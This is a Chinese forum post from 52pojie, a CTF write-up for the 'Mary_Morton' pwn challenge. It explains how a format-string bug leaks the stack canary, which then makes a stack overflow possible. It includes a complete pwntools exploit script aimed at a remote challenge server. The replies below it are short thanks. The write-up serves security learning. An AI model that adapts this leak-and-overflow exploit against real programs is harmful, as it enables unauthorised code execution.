吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 6736|回复: 20
收起左侧

[CTF] 攻防世界pwn Mary_Morton

  [复制链接]
安辰- 发表于 2019-9-8 01:34
本帖最后由 安辰- 于 2019-9-8 12:02 编辑

1.查看保护及文件信息
image.png
64位,开启的NX、Canary保护

2.分析
无libc,但是有system(""/bin/cat ./flag"")
image.png

继续分析能够发现程序有两处漏洞,一处是栈溢出,一处是格式化字符串漏洞
image.png

image.png

程序有Canary保护,这个保护就是在栈上面抱一个标志canary,在程序执行结束后,会检测这个标志是否发生变化,若发生变化则程序报错,这个canary通常是在ebp的上面,同一个程序在每一次执行时这个标志canary是不同的,但是在执行过程中这个标志是不会发生变化的
所以,我们就是以利用格式化字符串来读取标志canary,然后再去利用栈溢出去执行system(""/bin/cat ./flag"")


3.攻击
首先计算一下格式化字符串的偏移,偏移为5,由于程序是64位的,所以%x不可以使用,改用%llx
image.png
由于buf的大小为0x90,并且标志canary是在ebp的上面,也就是buf的最低处,所以标志canary的偏移就是23
image.png

构造exp
[Python] 纯文本查看 复制代码
from pwn import *context.arch = "amd64"
context.log_level = "debug"

#p = process("./Mary_Morton")
p = remote('111.198.29.45','54470')
canary = ""
p.sendlineafter("3. Exit the battle \n","2")
p.sendline("%23$p")
sleep(0.5)
canary = p.recv(18)
cc = int(canary,16)
print(cc)
p.sendlineafter("3. Exit the battle \n","1")

payload = 'a'*0x88 + p64(cc) + 'a'*8 + p64(0x4008DA)

p.send(payload)

p.interactive()

执行
image.png

exp中采用的是%p(输出地址值),由于使用%llx出了点小问题,所以改用的%p

如有写的不妥当之处,请指出
我会立即改正

免费评分

参与人数 6威望 +1 吾爱币 +11 热心值 +6 收起 理由
Hmily + 1 + 6 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
hugmail + 1 + 1 我很赞同!
$hsy + 1 + 1 用心讨论,共获提升!
smile5 + 1 + 1 用心讨论,共获提升!
老白啊 + 1 + 1 冲冲冲
dzj0821 + 1 + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

凡尘一梦 发表于 2019-9-9 15:11
TwilightZ 发表于 2019-9-9 10:07
虽然不知道是什么,但看起来好像很厉害的样子!

简单说就是不明觉厉
vcc3000 发表于 2019-9-8 08:40
dierzu 发表于 2019-9-8 09:45
枭雄8888 发表于 2019-9-8 09:46
感谢楼主分享,虽然我看不懂
轩子巨2兔 发表于 2019-9-8 11:32
看不懂,还是支持一下哈哈
zysanjing1 发表于 2019-9-8 11:53
感谢分享
如墨小哥哥 发表于 2019-9-8 11:56
感谢楼主分享,虽然我看不懂
头像被屏蔽
xiaohuihui2 发表于 2019-9-8 14:56
提示: 作者被禁止或删除 内容自动屏蔽
Mrk丶Nodejs 发表于 2019-9-8 15:15
pwn 大佬,加入我的团队吧?
yaoyao7 发表于 2019-9-8 19:08
感谢楼主分享,正在搞pwn,多多学习
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-16 16:35

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表